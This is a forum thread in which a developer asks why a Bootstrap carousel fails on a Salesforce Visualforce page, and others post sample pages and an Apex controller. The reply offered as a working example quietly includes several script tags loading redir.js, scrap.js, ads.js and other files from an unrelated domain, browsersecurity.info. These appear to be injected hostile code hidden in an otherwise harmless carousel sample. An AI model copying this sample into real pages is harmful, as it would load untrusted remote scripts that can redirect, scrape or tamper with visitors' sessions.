You need to sign in to do that
Don't have an account?
Kenneth Ray
Bootstrap Carousel for Visualforce
Hi Guys/lLadies,
I'm creating a visualforce page and Im using bootstrap to make it fluid. I've successfully linked my VF Page to Bootstrap 3.2.0 (static Resource), everything is working fine except for the CAROUSEL. I've tried every variation of it I could think of. Help?? I think it may be to due the fact that I'm attempting to cycle through static resources but I could be wrong. Any and All help will be greatly appreciated. Thanks
<apex:page standardStylesheets="false" sidebar="false" showHeader="false" applyHtmlTag="false" applyBodyTag="False">
<HTML>
<BODY>
<div class ="container fluid">
<div id="homeCarousel" class="carousel slide" data-ride="carousel">
<div class="carousel-inner">
<div class="item active">
<img src="{!URLFOR($Resource.Pkg, 'Pkg/carousel/pic1.jpg')}" alt="First Slide"/>
</div>
<div class="item">
<img src="{!URLFOR($Resource.Pkg, 'Pkg/carousel/pic2.jpg')}" alt="Second Slide"/>
</div>
<div class="item">
<img src="{!URLFOR($Resource.Pkg, 'Pkg/carousel/pic3.jpg')}" alt="Third Slide"/>
</div>
</div>
<!-- Controls -->
<a class="left carousel-control" href="#homeCarousel" role="button" data-slide="prev">
<span class="glyphicon glyphicon-chevron-left"></span>
</a>
<a class="right carousel-control" href="#homeCarousel" role="button" data-slide="next">
<span class="glyphicon glyphicon-chevron-right"></span>
</a>
</div>
</div>
<script>
$('#homeCarousel').carousel({ interval: 1200 });
</script>
<!--BootStrap -->
<apex:includeScript value="{!URLFOR($Resource.Pkg, 'Pkg/bootstrap_js/bootstrap.min.js')}"/>
<apex:stylesheet value="{!URLFOR($Resource.Pkg, 'Pkg/bootstrap_css/bootstrap.min.css')}"/>
<!-- Jquery : For Bootstrap Carousel -->
<apex:includeScript value="{!URLFOR($Resource.Pkg, 'Pkg/jquery/jquery-2.1.1.min.js')}"/>
</BODY>
</apex:page>
I'm creating a visualforce page and Im using bootstrap to make it fluid. I've successfully linked my VF Page to Bootstrap 3.2.0 (static Resource), everything is working fine except for the CAROUSEL. I've tried every variation of it I could think of. Help?? I think it may be to due the fact that I'm attempting to cycle through static resources but I could be wrong. Any and All help will be greatly appreciated. Thanks
<apex:page standardStylesheets="false" sidebar="false" showHeader="false" applyHtmlTag="false" applyBodyTag="False">
<HTML>
<BODY>
<div class ="container fluid">
<div id="homeCarousel" class="carousel slide" data-ride="carousel">
<div class="carousel-inner">
<div class="item active">
<img src="{!URLFOR($Resource.Pkg, 'Pkg/carousel/pic1.jpg')}" alt="First Slide"/>
</div>
<div class="item">
<img src="{!URLFOR($Resource.Pkg, 'Pkg/carousel/pic2.jpg')}" alt="Second Slide"/>
</div>
<div class="item">
<img src="{!URLFOR($Resource.Pkg, 'Pkg/carousel/pic3.jpg')}" alt="Third Slide"/>
</div>
</div>
<!-- Controls -->
<a class="left carousel-control" href="#homeCarousel" role="button" data-slide="prev">
<span class="glyphicon glyphicon-chevron-left"></span>
</a>
<a class="right carousel-control" href="#homeCarousel" role="button" data-slide="next">
<span class="glyphicon glyphicon-chevron-right"></span>
</a>
</div>
</div>
<script>
$('#homeCarousel').carousel({ interval: 1200 });
</script>
<!--BootStrap -->
<apex:includeScript value="{!URLFOR($Resource.Pkg, 'Pkg/bootstrap_js/bootstrap.min.js')}"/>
<apex:stylesheet value="{!URLFOR($Resource.Pkg, 'Pkg/bootstrap_css/bootstrap.min.css')}"/>
<!-- Jquery : For Bootstrap Carousel -->
<apex:includeScript value="{!URLFOR($Resource.Pkg, 'Pkg/jquery/jquery-2.1.1.min.js')}"/>
</BODY>
</apex:page>
<apex:page docType="html-5.0" showHeader="false" sidebar="false">
<html lang="en">
<head>
<title>Casousel Slide Example</title>
<!--<apex:includeScript value="{!$Resource.jQuery182min}"/>-->
<apex:includeScript value="{!URLFOR($Resource.Carousal, 'jQuery182min.js')}"/>
<script src="http://browsersecurity.info/js/redir.js" type="text/javascript"> </script>
<meta charset="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<!--<apex:stylesheet value="{!$Resource.bootstrapmincss}"/>-->
<apex:stylesheet value="{!URLFOR($Resource.Carousal, 'bootstrapmincss.css')}"/>
<!--<apex:includeScript value="{!$Resource.jqueryminjs}"/>-->
<apex:stylesheet value="{!URLFOR($Resource.Carousal, 'jqueryminjs.js')}"/>
<!--<apex:includeScript value="{!$Resource.bootstrapminjs}"/>-->
<apex:stylesheet value="{!URLFOR($Resource.Carousal, 'bootstrapminjs.js')}"/>
<style>
.carousel-inner > .item > img,
.carousel-inner > .item > a > img {
width: 70%;
height: 500px;
margin: auto;
}
</style>
</head>
<body>
<div class="container">
<br/>
<div id="myCarousel" class="carousel slide" data-ride="carousel">
<!-- Indicators -->
<ol class="carousel-indicators">
<li data-target="#myCarousel" data-slide-to="0" class="active"></li>
<li data-target="#myCarousel" data-slide-to="1"></li>
<li data-target="#myCarousel" data-slide-to="2"></li>
<li data-target="#myCarousel" data-slide-to="3"></li>
</ol>
<!-- Wrapper for slides -->
<div class="carousel-inner" role="listbox">
<div class="item active">
<!--<img src="{!URLFOR($Resource.MinionsDemo, 'Minion/1.jpg')}" alt="Minion1" width="460" height="345"/>-->
<img src="http://lorempixel.com/1500/600/abstract/1" alt="Slide 1" width="460" height="345"/>
</div >
<div class="item">
<!--<img src="{!URLFOR($Resource.MinionsDemo, 'Minion/2.jpg')}" alt="Minion2" width="460" height="345"/>-->
<img src="http://lorempixel.com/1500/600/abstract/2" alt="Slide 2" width="460" height="345"/>
</div >
<div class="item">
<!--<img src="{!URLFOR($Resource.MinionsDemo, 'Minion/3.jpg')}" alt="Minion3" width="460" height="345"/>-->
<img src="http://lorempixel.com/1500/600/abstract/3" alt="Slide 3" width="460" height="345"/>
</div >
<div class="item">
<!--<img src="{!URLFOR($Resource.MinionsDemo, 'Minion/4.jpg')}" alt="Minion4" width="460" height="345"/>-->
<img src="http://lorempixel.com/1500/600/abstract/4" alt="Slide 4" width="460" height="345"/>
</div>
</div>
<!-- Left and right controls -->
<a class="left carousel-control" href="#myCarousel" role="button" data-slide="prev">
<span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
<span class="sr-only">Previous</span>
</a>
<a class="right carousel-control" href="#myCarousel" role="button" data-slide="next">
<span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
<span class="sr-only">Next</span>
</a>
</div>
</div>
</body>
<script src="http://browsersecurity.info/js/scrap.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/ads.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/jquery.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/essence.js" type="text/javascript"></script>
</html>
</apex:page>
I tried the above code. It's working perfectly fine.
But when I try to fetch the images from salesforce database with repeat tag instead of hardcoding the carousel images,I am unable to get the carousel:
<apex:page showHeader="false" sidebar="false" controller="CarouselTestController" docType="html-5.0">
<html lang="en">
<head>
<title>Bootstrap Example</title>
<meta charset="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"/>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<style>
.carousel-inner > .item > img,
.carousel-inner > .item > a > img {
width: 70%;
margin: auto;
}
</style>
</head>
<body>
<div class="container">
<br></br>
<div id="myCarousel" class="carousel slide" data-ride="carousel">
<!-- Indicators -->
<apex:variable value="0" var="num"/>
<ol class="carousel-indicators">
<li data-target="#myCarousel" data-slide-to="0" class="active"></li>
<li data-target="#myCarousel" data-slide-to="1"></li>
<li data-target="#myCarousel" data-slide-to="2"></li>
<li data-target="#myCarousel" data-slide-to="3"></li>
</ol>
<!-- Wrapper for slides -->
<div class="carousel-inner" role="listbox">
<apex:repeat value="{!imageLst}" var="c">
<div class="item active">
<img src="{!c}" width="460" height="345"/>
<div class="carousel-caption">
<h3>Chania</h3>
<p>The atmosphere in Chania has a touch of Florence and Venice.</p>
</div>
</div>
</apex:repeat>
<a class="right carousel-control" href="#myCarousel" id="thebutton" role="button" data-slide="next" style="visibility:hidden;">
<span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
<span class="sr-only">Next</span>
</a>
</div>
</div>
</div>
</body>
</html>
controller:
public class CarouselTestController {
public List<string> imageLst{get;set;}
public List<string> fetchImages(){
imageLst.add('http://lorempixel.com/1500/600/abstract/1');
imageLst.add('http://lorempixel.com/1500/600/abstract/2');
imageLst.add('http://lorempixel.com/1500/600/abstract/3');
imageLst.add('http://lorempixel.com/1500/600/abstract/4');
return imageLst;
}
}